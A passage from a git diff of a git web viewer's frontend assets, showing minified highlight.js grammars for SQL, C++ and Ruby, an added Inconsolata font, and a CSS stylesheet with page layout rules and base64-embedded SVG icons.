oracle oracle_date oradata ord ordaudio orddicom orddoc order ordimage ordinality ordvideo organization orlany orlvary out outer outfile outline output over overflow overriding package pad parallel parallel_enable parameters parent parse partial partition partitions pascal passing password password_grace_time password_lock_time password_reuse_max password_reuse_time password_verify_function patch path patindex pctincrease pctthreshold pctused pctversion percent percent_rank percentile_cont percentile_disc performance period period_add period_diff permanent physical pi pipe pipelined pivot pluggable plugin policy position post_transaction pow power pragma prebuilt precedes preceding precision prediction prediction_cost prediction_details prediction_probability prediction_set prepare present preserve prior priority private private_sga privileges procedural procedure procedure_analyze processlist profiles project prompt protection public publishingservername purge quarter query quick quiesce quota quotename radians raise rand range rank raw read reads readsize rebuild record records recover recovery recursive recycle redo reduced ref reference referenced references referencing refresh regexp_like register regr_avgx regr_avgy regr_count regr_intercept regr_r2 regr_slope regr_sxx regr_sxy reject rekey relational relative relaylog release release_lock relies_on relocate rely rem remainder rename repair repeat replace replicate replication required reset resetlogs resize resource respect restore restricted result result_cache resumable resume retention return returning returns reuse reverse revoke right rlike role roles rollback rolling rollup round row row_count rowdependencies rowid rownum rows rtrim rules safe salt sample save savepoint sb1 sb2 sb4 scan schema schemacheck scn scope scroll sdo_georaster sdo_topo_geometry search sec_to_time second section securefile security seed segment select self sequence sequential serializable server servererror session session_user sessions_per_user set sets settings sha sha1 sha2 share shared shared_pool short show shrink shutdown si_averagecolor si_colorhistogram si_featurelist si_positionalcolor si_stillimage si_texture siblings sid sign sin size size_t sizes skip slave sleep smalldatetimefromparts smallfile snapshot some soname sort soundex source space sparse spfile split sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_small_result sql_variant_property sqlcode sqldata sqlerror sqlname sqlstate sqrt square standalone standby start starting startup statement static statistics stats_binomial_test stats_crosstab stats_ks_test stats_mode stats_mw_test stats_one_way_anova stats_t_test_ stats_t_test_indep stats_t_test_one stats_t_test_paired stats_wsr_test status std stddev stddev_pop stddev_samp stdev stop storage store stored str str_to_date straight_join strcmp strict string struct stuff style subdate subpartition subpartitions substitutable substr substring subtime subtring_index subtype success sum suspend switch switchoffset switchover sync synchronous synonym sys sys_xmlagg sysasm sysaux sysdate sysdatetimeoffset sysdba sysoper system system_user sysutcdatetime table tables tablespace tan tdo template temporary terminated tertiary_weights test than then thread through tier ties time time_format time_zone timediff timefromparts timeout timestamp timestampadd timestampdiff timezone_abbr timezone_minute timezone_region to to_base64 to_date to_days to_seconds todatetimeoffset trace tracking transaction transactional translate translation treat trigger trigger_nestlevel triggers trim truncate try_cast try_convert try_parse type ub1 ub2 ub4 ucase unarchived unbounded uncompress under undo unhex unicode uniform uninstall union unique unix_timestamp unknown unlimited unlock unpivot unrecoverable unsafe unsigned until untrusted unusable unused update updated upgrade upped upper upsert url urowid usable usage use use_stored_outlines user user_data user_resources users using utc_date utc_timestamp uuid uuid_short validate validate_password_strength validation valist value values var var_samp varcharc vari varia variab variabl variable variables variance varp varraw varrawc varray verify version versions view virtual visible void wait wallet warning warnings week weekday weekofyear wellformed when whene whenev wheneve whenever where while whitespace with within without work wrapped xdb xml xmlagg xmlattributes xmlcast xmlcolattval xmlelement xmlexists xmlforest xmlindex xmlnamespaces xmlpi xmlquery xmlroot xmlschema xmlserialize xmltable xmltype xor year year_to_month years yearweek\u0022,literal:\u0022true false null\u0022,built_in:\u0022array bigint binary bit blob boolean char character date dec decimal float int int8 integer interval number numeric real record serial serial8 smallint text varchar varying void\u0022},c:[{cN:\u0022string\u0022,b:\u0022'\u0022,e:\u0022'\u0022,c:[e.BE,{b:\u0022''\u0022}]},{cN:\u0022string\u0022,b:'\u0022',e:'\u0022',c:[e.BE,{b:'\u0022\u0022'}]},{cN:\u0022string\u0022,b:\u0022`\u0022,e:\u0022`\u0022,c:[e.BE]},e.CNM,e.CBCM,t]},e.CBCM,t]}});hljs.registerLanguage(\u0022cpp\u0022,function(t){var e\u003d{cN:\u0022keyword\u0022,b:\u0022\u005c\u005cb[a-z\u005c\u005cd_]*_t\u005c\u005cb\u0022},r\u003d{cN:\u0022string\u0022,v:[{b:'(u8?|U)?L?\u0022',e:'\u0022',i:\u0022\u005c\u005cn\u0022,c:[t.BE]},{b:'(u8?|U)?R\u0022',e:'\u0022',c:[t.BE]},{b:\u0022'\u005c\u005c\u005c\u005c?.\u0022,e:\u0022'\u0022,i:\u0022.\u0022}]},s\u003d{cN:\u0022number\u0022,v:[{b:\u0022\u005c\u005cb(0b[01']+)\u0022},{b:\u0022(-?)\u005c\u005cb([\u005c\u005cd']+(\u005c\u005c.[\u005c\u005cd']*)?|\u005c\u005c.[\u005c\u005cd']+)(u|U|l|L|ul|UL|f|F|b|B)\u0022},{b:\u0022(-?)(\u005c\u005cb0[xX][a-fA-F0-9']+|(\u005c\u005cb[\u005c\u005cd']+(\u005c\u005c.[\u005c\u005cd']*)?|\u005c\u005c.[\u005c\u005cd']+)([eE][-+]?[\u005c\u005cd']+)?)\u0022}],r:0},i\u003d{cN:\u0022meta\u0022,b:/#\u005cs*[a-z]+\u005cb/,e:/$/,k:{\u0022meta-keyword\u0022:\u0022if else elif endif define undef warning error line pragma ifdef ifndef include\u0022},c:[{b:/\u005c\u005c\u005cn/,r:0},t.inherit(r,{cN:\u0022meta-string\u0022}),{cN:\u0022meta-string\u0022,b:/\u003c[^\u005cn\u003e]*\u003e/,e:/$/,i:\u0022\u005c\u005cn\u0022},t.CLCM,t.CBCM]},a\u003dt.IR+\u0022\u005c\u005cs*\u005c\u005c(\u0022,c\u003d{keyword:\u0022int float while private char catch import module export virtual operator sizeof dynamic_cast|10 typedef const_cast|10 const for static_cast|10 union namespace unsigned long volatile static protected bool template mutable if public friend do goto auto void enum else break extern using asm case typeid short reinterpret_cast|10 default double register explicit signed typename try this switch continue inline delete alignof constexpr decltype noexcept static_assert thread_local restrict _Bool complex _Complex _Imaginary atomic_bool atomic_char atomic_schar atomic_uchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_ulong atomic_llong atomic_ullong new throw return and or not\u0022,built_in:\u0022std string cin cout cerr clog stdin stdout stderr stringstream istringstream ostringstream auto_ptr deque list queue stack vector map set bitset multiset multimap unordered_set unordered_map unordered_multiset unordered_multimap array shared_ptr abort abs acos asin atan2 atan calloc ceil cosh cos exit exp fabs floor fmod fprintf fputs free frexp fscanf isalnum isalpha iscntrl isdigit isgraph islower isprint ispunct isspace isupper isxdigit tolower toupper labs ldexp log10 log malloc realloc memchr memcmp memcpy memset modf pow printf putchar puts scanf sinh sin snprintf sprintf sqrt sscanf strcat strchr strcmp strcpy strcspn strlen strncat strncmp strncpy strpbrk strrchr strspn strstr tanh tan vfprintf vprintf vsprintf endl initializer_list unique_ptr\u0022,literal:\u0022true false nullptr NULL\u0022},n\u003d[e,t.CLCM,t.CBCM,s,r];return{aliases:[\u0022c\u0022,\u0022cc\u0022,\u0022h\u0022,\u0022c++\u0022,\u0022h++\u0022,\u0022hpp\u0022],k:c,i:\u0022\u003c/\u0022,c:n.concat([i,{b:\u0022\u005c\u005cb(deque|list|queue|stack|vector|map|set|bitset|multiset|multimap|unordered_map|unordered_set|unordered_multiset|unordered_multimap|array)\u005c\u005cs*\u003c\u0022,e:\u0022\u003e\u0022,k:c,c:[\u0022self\u0022,e]},{b:t.IR+\u0022::\u0022,k:c},{v:[{b:/\u003d/,e:/;/},{b:/\u005c(/,e:/\u005c)/},{bK:\u0022new throw return else\u0022,e:/;/}],k:c,c:n.concat([{b:/\u005c(/,e:/\u005c)/,k:c,c:n.concat([\u0022self\u0022]),r:0}]),r:0},{cN:\u0022function\u0022,b:\u0022(\u0022+t.IR+\u0022[\u005c\u005c*\u0026\u005c\u005cs]+)+\u0022+a,rB:!0,e:/[{;\u003d]/,eE:!0,k:c,i:/[^\u005cw\u005cs\u005c*\u0026]/,c:[{b:a,rB:!0,c:[t.TM],r:0},{cN:\u0022params\u0022,b:/\u005c(/,e:/\u005c)/,k:c,r:0,c:[t.CLCM,t.CBCM,r,s,e]},t.CLCM,t.CBCM,i]},{cN:\u0022class\u0022,bK:\u0022class struct\u0022,e:/[{;:]/,c:[{b:/\u003c/,e:/\u003e/,c:[\u0022self\u0022]},t.TM]}]),exports:{preprocessor:i,strings:r,k:c}}});hljs.registerLanguage(\u0022ruby\u0022,function(e){var b\u003d\u0022[a-zA-Z_]\u005c\u005cw*[!?\u003d]?|[-+~]\u005c\u005c@|\u003c\u003c|\u003e\u003e|\u003d~|\u003d\u003d\u003d?|\u003c\u003d\u003e|[\u003c\u003e]\u003d?|\u005c\u005c*\u005c\u005c*|[-/+%^\u0026*~`|]|\u005c\u005c[\u005c\u005c]\u003d?\u0022,r\u003d{keyword:\u0022and then defined module in return redo if BEGIN retry end for self when next until do begin unless END rescue else break undef not super class case require yield alias while ensure elsif or include attr_reader attr_writer attr_accessor\u0022,literal:\u0022true false nil\u0022},c\u003d{cN:\u0022doctag\u0022,b:\u0022@[A-Za-z]+\u0022},a\u003d{b:\u0022#\u003c\u0022,e:\u0022\u003e\u0022},s\u003d[e.C(\u0022#\u0022,\u0022$\u0022,{c:[c]}),e.C(\u0022^\u005c\u005c\u003dbegin\u0022,\u0022^\u005c\u005c\u003dend\u0022,{c:[c],r:10}),e.C(\u0022^__END__\u0022,\u0022\u005c\u005cn$\u0022)],n\u003d{cN:\u0022subst\u0022,b:\u0022#\u005c\u005c{\u0022,e:\u0022}\u0022,k:r},t\u003d{cN:\u0022string\u0022,c:[e.BE,n],v:[{b:/'/,e:/'/},{b:/\u0022/,e:/\u0022/},{b:/`/,e:/`/},{b:\u0022%[qQwWx]?\u005c\u005c(\u0022,e:\u0022\u005c\u005c)\u0022},{b:\u0022%[qQwWx]?\u005c\u005c[\u0022,e:\u0022\u005c\u005c]\u0022},{b:\u0022%[qQwWx]?{\u0022,e:\u0022}\u0022},{b:\u0022%[qQwWx]?\u003c\u0022,e:\u0022\u003e\u0022},{b:\u0022%[qQwWx]?/\u0022,e:\u0022/\u0022},{b:\u0022%[qQwWx]?%\u0022,e:\u0022%\u0022},{b:\u0022%[qQwWx]?-\u0022,e:\u0022-\u0022},{b:\u0022%[qQwWx]?\u005c\u005c|\u0022,e:\u0022\u005c\u005c|\u0022},{b:/\u005cB\u005c?(\u005c\u005c\u005cd{1,3}|\u005c\u005cx[A-Fa-f0-9]{1,2}|\u005c\u005cu[A-Fa-f0-9]{4}|\u005c\u005c?\u005cS)\u005cb/},{b:/\u003c\u003c(-?)\u005cw+$/,e:/^\u005cs*\u005cw+$/}]},i\u003d{cN:\u0022params\u0022,b:\u0022\u005c\u005c(\u0022,e:\u0022\u005c\u005c)\u0022,endsParent:!0,k:r},d\u003d[t,a,{cN:\u0022class\u0022,bK:\u0022class module\u0022,e:\u0022$|;\u0022,i:/\u003d/,c:[e.inherit(e.TM,{b:\u0022[A-Za-z_]\u005c\u005cw*(::\u005c\u005cw+)*(\u005c\u005c?|\u005c\u005c!)?\u0022}),{b:\u0022\u003c\u005c\u005cs*\u0022,c:[{b:\u0022(\u0022+e.IR+\u0022::)?\u0022+e.IR}]}].concat(s)},{cN:\u0022function\u0022,bK:\u0022def\u0022,e:\u0022$|;\u0022,c:[e.inherit(e.TM,{b:b}),i].concat(s)},{b:e.IR+\u0022::\u0022},{cN:\u0022symbol\u0022,b:e.UIR+\u0022(\u005c\u005c!|\u005c\u005c?)?:\u0022,r:0},{cN:\u0022symbol\u0022,b:\u0022:(?!\u005c\u005cs)\u0022,c:[t,{b:b}],r:0},{cN:\u0022number\u0022,b:\u0022(\u005c\u005cb0[0-7_]+)|(\u005c\u005cb0x[0-9a-fA-F_]+)|(\u005c\u005cb[1-9][0-9_]*(\u005c\u005c.[0-9_]+)?)|[0_]\u005c\u005cb\u0022,r:0},{b:\u0022(\u005c\u005c$\u005c\u005cW)|((\u005c\u005c$|\u005c\u005c@\u005c\u005c@?)(\u005c\u005cw+))\u0022},{cN:\u0022params\u0022,b:/\u005c|/,e:/\u005c|/,k:r},{b:\u0022(\u0022+e.RSR+\u0022|unless)\u005c\u005cs*\u0022,k:\u0022unless\u0022,c:[a,{cN:\u0022regexp\u0022,c:[e.BE,n],i:/\u005cn/,v:[{b:\u0022/\u0022,e:\u0022/[a-z]*\u0022},{b:\u0022%r{\u0022,e:\u0022}[a-z]*\u0022},{b:\u0022%r\u005c\u005c(\u0022,e:\u0022\u005c\u005c)[a-z]*\u0022},{b:\u0022%r!\u0022,e:\u0022![a-z]*\u0022},{b:\u0022%r\u005c\u005c[\u0022,e:\u0022\u005c\u005c][a-z]*\u0022}]}].concat(s),r:0}].concat(s);n.c\u003dd,i.c\u003dd;var l\u003d\u0022[\u003e?]\u003e\u0022,o\u003d\u0022[\u005c\u005cw#]+\u005c\u005c(\u005c\u005cw+\u005c\u005c):\u005c\u005cd+:\u005c\u005cd+\u003e\u0022,u\u003d\u0022(\u005c\u005cw+-)?\u005c\u005cd+\u005c\u005c.\u005c\u005cd+\u005c\u005c.\u005c\u005cd(p\u005c\u005cd+)?[^\u003e]+\u003e\u0022,w\u003d[{b:/^\u005cs*\u003d\u003e/,starts:{e:\u0022$\u0022,c:d}},{cN:\u0022meta\u0022,b:\u0022^(\u0022+l+\u0022|\u0022+o+\u0022|\u0022+u+\u0022)\u0022,starts:{e:\u0022$\u0022,c:d}}];return{aliases:[\u0022rb\u0022,\u0022gemspec\u0022,\u0022podspec\u0022,\u0022thor\u0022,\u0022irb\u0022],k:r,i:/\u005c/\u005c*/,c:s.concat(w).concat(d)}});\n\u005c No newline at end of file\ndiff --git a/assets/inconsolata.ttf b/assets/inconsolata.ttf\nnew file mode 100644\nindex 0000000..bdfb1f6\nBinary files /dev/null and b/assets/inconsolata.ttf differ\ndiff --git a/assets/jg2.css b/assets/jg2.css\nnew file mode 100644\nindex 0000000..408515d\n--- /dev/null\n+++ b/assets/jg2.css\n@@ -0,0 +1,1019 @@\n+pre {\n+ font-family: \u0022Inconsolata\u0022, \u0022mono\u0022;\n+ font-size: 14px;\n+ margin: 0px;\n+ line-height: 110%;\n+}\n+code {\n+ font-family: \u0022Inconsolata\u0022, \u0022mono\u0022;\n+ font-size: 14px;\n+ margin: 0px;\n+ line-height: 110%;\n+}\n+\n+td {\n+\tpadding: 2px;\n+\tpadding-left: 3px;\n+\tpadding-right: 3px;\n+}\n+\n+td.tight {\n+\tpadding: 0px;\n+}\n+\n+td.heading {\n+\tfont-weight: bold,\n+\tcolor: gray\n+}\n+\n+div.header-region {\n+\tbackground-color: #ccddcc;\n+\twidth: 100vw;\n+\tmargin-left: calc(50% - 50vw);\n+\tpadding-top:4px;\n+\tpadding-left:12px;\n+}\n+\n+div.footer-region {\n+\tbackground-color: #ccddcc;\n+\twidth: 100vw;\n+\tmargin-left: calc(50% - 50vw);\n+\tmargin-top: 6px;\n+\tpadding-left:8px;\n+\tpadding-bottom:4px;\n+}\n+\n+span.heading {\n+\tfont-weight: bold,\n+\tcolor: gray\n+}\n+\n+td.headingr {\n+\ttext-align: right\n+}\n+\n+td.r {\n+ \ttext-align: right\n+}\n+\n+td.dl-file {\n+\tpadding-left: 8px;\n+}\n+\n+td.dl-dir {\n+\tfont-size: 115%;\n+\tpadding-left: 8px;\n+}\n+\n+td.logtitle {\n+\tfont-size: 150%;\n+\tfont-weight: bold\n+}\n+\n+pre.logbody {\n+\tfont-size: 120%;\n+\tcolor: #444\n+}\n+ \n+div.jglinenumbers {\n+\ttext-align: right;\n+\tcolor: dark gray;\n+\tmargin-top:0px;\n+\twidth: 6em\n+}\n+\n+div.gitohashi-stats {\n+\tpadding: 0px;\n+\tcolor: gray;\n+\tfont-size: 70%;\n+}\n+\n+div.gitohashi-stats td {\n+\tpadding: 0px;\n+}\n+\n+span.blogtitle {\n+\tfont-size: 200%;\n+}\n+span.blogdate {\n+\tfont-size: 115%;\n+\tfont-style: italic;\n+}\n+\n+div.jg2-tree {\n+\tbackground-color: #f0f0f0;\n+\tpadding: 5px;\n+}\n+\n+div.jg2-footer {\n+\tpadding-top: 8px;\n+\tcolor: #808080;\n+}\n+\n+span.reponame {\n+\tfont-size: 250%;\n+\tline-height:100%;\n+\tvertical-align:middle;\n+\tdisplay:inline-block;\n+\tpadding-bottom: 0px;\n+\tpadding-left: 5px;\n+\tpadding-right: 5px;\n+}\n+\n+span.blameotron {\n+\tfont-size: 150%;\n+\tpadding-bottom: 0px;\n+\tvertical-align: top;\n+\topacity: 0.8;\n+\tfloat:left\n+}\n+\n+div.rpathname {\n+\tdisplay:inline-block;\n+\tfont-size: 115%;\n+\tmargin-bottom: 0px;\n+\tpadding-top: 8px;\n+}\n+\n+span.reponame a:link {\n+\ttext-decoration: none;\n+}\n+\n+span.reponame a:hover {\n+\ttext-decoration: underline;\n+}\n+\n+td.logmsg a:link {\n+\ttext-decoration: none;\n+}\n+\n+td.logmsg a:hover {\n+\ttext-decoration: underline;\n+}\n+\n+td.info {\n+\tfont-size:110%;\n+}\n+\n+div.jglinenumbers a:link {\n+\ttext-decoration: none;\n+}\n+\n+div.jglinenumbers a:hover {\n+\ttext-decoration: underline;\n+}\n+\n+img.repolist {\n+\tdisplay: inline-block;\n+\tfloat:left;\n+\tbackground: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA5LjU4NjQgOS41ODY0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KPGRlZnM+CjxmaWx0ZXIgaWQ9ImEiIHg9Ii0uMDc0NCIgeT0iLS4wNzQ0IiB3aWR0aD0iMS4xNDg4IiBoZWlnaHQ9IjEuMTQ4OCIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC43NTgxMDk5NiIvPgo8L2ZpbHRlcj4KPC9kZWZzPgo8bWV0YWRhdGE+CjxyZGY6UkRGPgo8Y2M6V29yayByZGY6YWJvdXQ9IiI+CjxkYzpmb3JtYXQ+aW1hZ2Uvc3ZnK3htbDwvZGM6Zm9ybWF0Pgo8ZGM6dHlwZSByZGY6cmVzb3VyY2U9Imh0dHA6Ly9wdXJsLm9yZy9kYy9kY21pdHlwZS9TdGlsbEltYWdlIi8+CjxkYzp0aXRsZS8+CjwvY2M6V29yaz4KPC9yZGY6UkRGPgo8L21ldGFkYXRhPgo8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtNi4yNDg0IC0yMzUuOTUpIj4KPGNpcmNsZSB0cmFuc2Zvcm09Im1hdHJpeCguMzQxMjIgMCAwIC4zNDEyMiAtNDEuODk5IDE5MS45NykiIGN4PSIxNTUuMTUiIGN5PSIxNDIuOTIiIHI9IjEyLjIyOCIgZmlsdGVyPSJ1cmwoI2EpIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI2NSIvPgo8Y2lyY2xlIGN4PSIxMC44NjMiIGN5PSIyNDAuNTkiIHI9IjQuMTcyMyIgZmlsbD0iI2IzYjNiMyIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4wOTA0MjQiLz4KPHBhdGggZD0ibTEwLjM0NCAyMzkuMTR2Mi45OTM5bC0yLjQ4MjMtMS40MzMyeiIgZmlsbD0iI2VjZWNlYyIvPgo8cGF0aCBkPSJtMTIuOTc4IDIzOS4xNnYyLjk5MzlsLTIuNDgyMy0xLjQzMzJ6IiBmaWxsPSIjZWNlY2VjIi8+CjwvZz4KPC9zdmc+Cg\u003d\u003d\u0022);\n+\twidth:0px;\n+\theight:0px;\n+\tcursor:pointer;\n+\tpadding: 0.5em;\n+\tbackground-repeat: no-repeat;\n+\tvertical-align:middle;\n+\tcolor: rgba(0, 0, 0, 0) !important;\n+}\n+\n+.oneem {\n+\tpadding: 0.5em;\n+}\n+\n+img.archive {\n+\tdisplay: inline-block;\n+\tfloat:left;\n+\tbackground: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA0My4yNjkgNDEuMjg5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KPGRlZnM+CjxmaWx0ZXIgaWQ9ImEiIHg9Ii0uMDUzMDI0IiB5PSItLjEyNDY1IiB3aWR0aD0iMS4xMDYiIGhlaWdodD0iMS4yNDkzIiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgo8ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPSIwLjg2MDY0MTIyIi8+CjwvZmlsdGVyPgo8L2RlZnM+CjxtZXRhZGF0YT4KPHJkZjpSREY+CjxjYzpXb3JrIHJkZjphYm91dD0iIj4KPGRjOmZvcm1hdD5pbWFnZS9zdmcreG1sPC9kYzpmb3JtYXQ+CjxkYzp0eXBlIHJkZjpyZXNvdXJjZT0iaHR0cDovL3B1cmwub3JnL2RjL2RjbWl0eXBlL1N0aWxsSW1hZ2UiLz4KPGRjOnRpdGxlLz4KPC9jYzpXb3JrPgo8L3JkZjpSREY+CjwvbWV0YWRhdGE+CjxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKC04My40NDMgLTEzMS4yMSkiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMjY0NThweCI+CjxwYXRoIGQ9Im04Ni45MTIgMTU2LjQtMS40MDMyIDAuNjAxMzUgMTcuNzA3IDEzLjQzIDIxLjI0OC0xMC44OTEtMTMuNjMxLTUuNjc5NXoiIGZpbHRlcj0idXJsKCNhKSIvPgo8cGF0aCBkPSJtODYuOTc4IDEzNi4xNi0wLjUzNDU0IDE5LjkxMiAxNy4zNzMgMTIuMTYxIDIwLjE3OS05LjIyMDggMi4yNzE4LTI0LjA1NC0yMi4xODMgNy44ODQ0eiIgZmlsbD0ibm9uZSIvPgo8cGF0aCBkPSJtODYuOTU0IDEzNi4wOCAxOC44NjctNC43MzI2IDIwLjM3OSAzLjU0MTMtMjEuODQ5IDcuOTUxM3oiIGZpbGw9IiNkZWFhODciLz4KPHBhdGggZD0ibTEwNC40OCAxNDIuODQtMC44MDE4MSAyNS41MjQgMjAuMjQ2LTkuNDIxMyAyLjIwNS0yMy45ODd6IiBmaWxsPSIjZDM4ZDVmIi8+CjxwYXRoIGQ9Im04Ny4yNDYgMTM2LjE2IDE3LjEwNSA2LjY4MTctMC41MzQ1NSAyNS41MjQtMTcuMzczLTEyLjU2MnoiIGZpbGw9IiNhMDVhMmMiLz4KPHBhdGggZD0ibTk4LjI3MSAxMzMuMTUgMTguMDQxIDUuNDc5IiBmaWxsPSJub25lIi8+CjxwYXRoIGQ9Im05NS45OTkgMTMzLjY5IDQuNzQ0LTEuMjAyNyAxOC4zMDggNS4wNzgxLTAuMzM0MSA3Ljk1MTMtNC44Nzc3IDMuMjA3MiAwLjMzNDA5LTkuMjg3NnoiIGZpbGw9IiNhNDAiIGZpbGwtb3BhY2l0eT0iLjc2ODYiLz4KPHBhdGggZD0ibTEwMi4yOCAxMzguMSA1LjIxMTggMS43MzcyIiBmaWxsPSJub25lIi8+CjxwYXRoIGQ9Im0xMDAuOTQgMTM4LjU2IDUuMjExOCAxLjczNzIiIGZpbGw9Im5vbmUiLz4KPHBhdGggZD0ibTk5LjQ3MyAxMzkuMSA1LjIxMTggMS43MzcyIiBmaWxsPSJub25lIi8+CjxwYXRoIGQ9Im0xMTIuNjQgMTYwLjg4IDUuNjEyNy0xLjY3MDQtMC4xMzM2MyAyLjQ3MjItNS4zNDU0IDIuNDA1NHoiIGZpbGw9IiNhNDAiIGZpbGwtb3BhY2l0eT0iLjc2MDMzIi8+CjwvZz4KPC9zdmc+Cg\u003d\u003d\u0022);\n+\twidth:0px;\n+\theight:0px;\n+\tcursor:pointer;\n+\tpadding: 0.9em;\n+\tbackground-repeat: no-repeat;\n+\tvertical-align:middle;\n+\tcolor: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.tag {\n+\tdisplay: inline-block;\n+\tfloat:left;\n+\tbackground: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAxOS43NDcgMjEuNDU2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI+CjxkZWZzPgo8bGluZWFyR3JhZGllbnQgaWQ9ImEiIHgxPSIxMDAwLjIiIHgyPSI5OTMuOTkiIHkxPSI5MjguNTciIHkyPSI5OTIuOTciIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoLjI2NDU4IDAgMCAuMjY0NTggLTIwMC43NSAtNTguMzczKSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiPgo8c3RvcCBzdG9wLWNvbG9yPSIjZjRlZWVhIiBvZmZzZXQ9IjAiLz4KPHN0b3Agc3RvcC1jb2xvcj0iI2E0OTE4NyIgb2Zmc2V0PSIxIi8+CjwvbGluZWFyR3JhZGllbnQ+CjxmaWx0ZXIgaWQ9ImIiIHg9Ii0uMDYwMzk0IiB5PSItLjA1NTA1MyIgd2lkdGg9IjEuMTIwOCIgaGVpZ2h0PSIxLjExMDEiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CjxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjAuNDQzMzYzMzMiLz4KPC9maWx0ZXI+CjwvZGVmcz4KPG1ldGFkYXRhPgo8cmRmOlJERj4KPGNjOldvcmsgcmRmOmFib3V0PSIiPgo8ZGM6Zm9ybWF0PmltYWdlL3N2Zyt4bWw8L2RjOmZvcm1hdD4KPGRjOnR5cGUgcmRmOnJlc291cmNlPSJodHRwOi8vcHVybC5vcmcvZGMvZGNtaXR5cGUvU3RpbGxJbWFnZSIvPgo8ZGM6dGl0bGUvPgo8L2NjOldvcms+CjwvcmRmOlJERj4KPC9tZXRhZGF0YT4KPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTU0LjM4MiAtMTg0Ljk3KSI+CjxwYXRoIGQ9Im02My44OTUgMTg2LjA0Yy0wLjQ3Mzc0IDAuMDEwNC0wLjczMjcxIDAuMjk0MzUtMC45MTkzMiAwLjYxNDQzLTIuNDUgNC4yMzE4LTYuMTI1IDEwLjU3OS03LjM0OTkgMTIuNjk1LTAuNjM0NDIgMS4zMTI3IDAuNTgyNzcgMi44Njc1IDEuMDI2MyAzLjU5NzIgMC41ODUyNiAwLjc3NjkgMC44MDE5MyAxLjE1NDIgMS44NDY5IDEuODgyIDEuMTcxNyAwLjQ2MTY3IDIuMzUwNiAwLjU2MzM1IDIuODA2NiAwLjUzNDM1IDAuNDU1OS0wLjAyOSAyLjcyNjUgMC4yNjQ2NCA0LjU0MzQtMS4zMzY0IDEuMTMxOC0yLjA5NzEgNC42MjEzLTguNjcxNyA2Ljg4NDgtMTIuODY2IDAuMjA1NzctMC4zNzE5NyAwLjY5NTQxLTAuODY1ODMtMC4xMzY0Mi0xLjM2NjMtMi44Mjg2LTEuMjQ3Mi01LjY1NzItMi40OTQxLTguNDg1OC0zLjc0MTQtMC4wNzY5LTAuMDEwNC0wLjE0ODg2LTAuMDE0OS0wLjIxNjUxLTAuMDEzNHptLTQuMjYwNyAxNS44ODVhMS4xMzU5IDEuMDY2NyAwIDAgMSAxLjEzNTggMS4wNjY2IDEuMTM1OSAxLjA2NjcgMCAwIDEtMS4xMzU4IDEuMDY2NiAxLjEzNTkgMS4wNjY3IDAgMCAxLTEuMTM1OC0xLjA2NjYgMS4xMzU5IDEuMDY2NyAwIDAgMSAxLjEzNTgtMS4wNjY2eiIgZmlsdGVyPSJ1cmwoI2IpIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTYzLjgyOCAxODUuNjljLTAuNDczNzMgMC4wMTAzLTAuNzMyNzEgMC4yOTQzNS0wLjkxOTMyIDAuNjE0NDMtMi40NSA0LjIzMTgtNi4xMjQ5IDEwLjU3OS03LjM0OTkgMTIuNjk1LTAuNjM0NCAxLjMxMjcgMC41ODI3NyAyLjg2OCAxLjAyNjMgMy41OTc3IDAuNTg1MjYgMC43NzY5MSAwLjgwMTk0IDEuMTUzNyAxLjg0NjkgMS44OD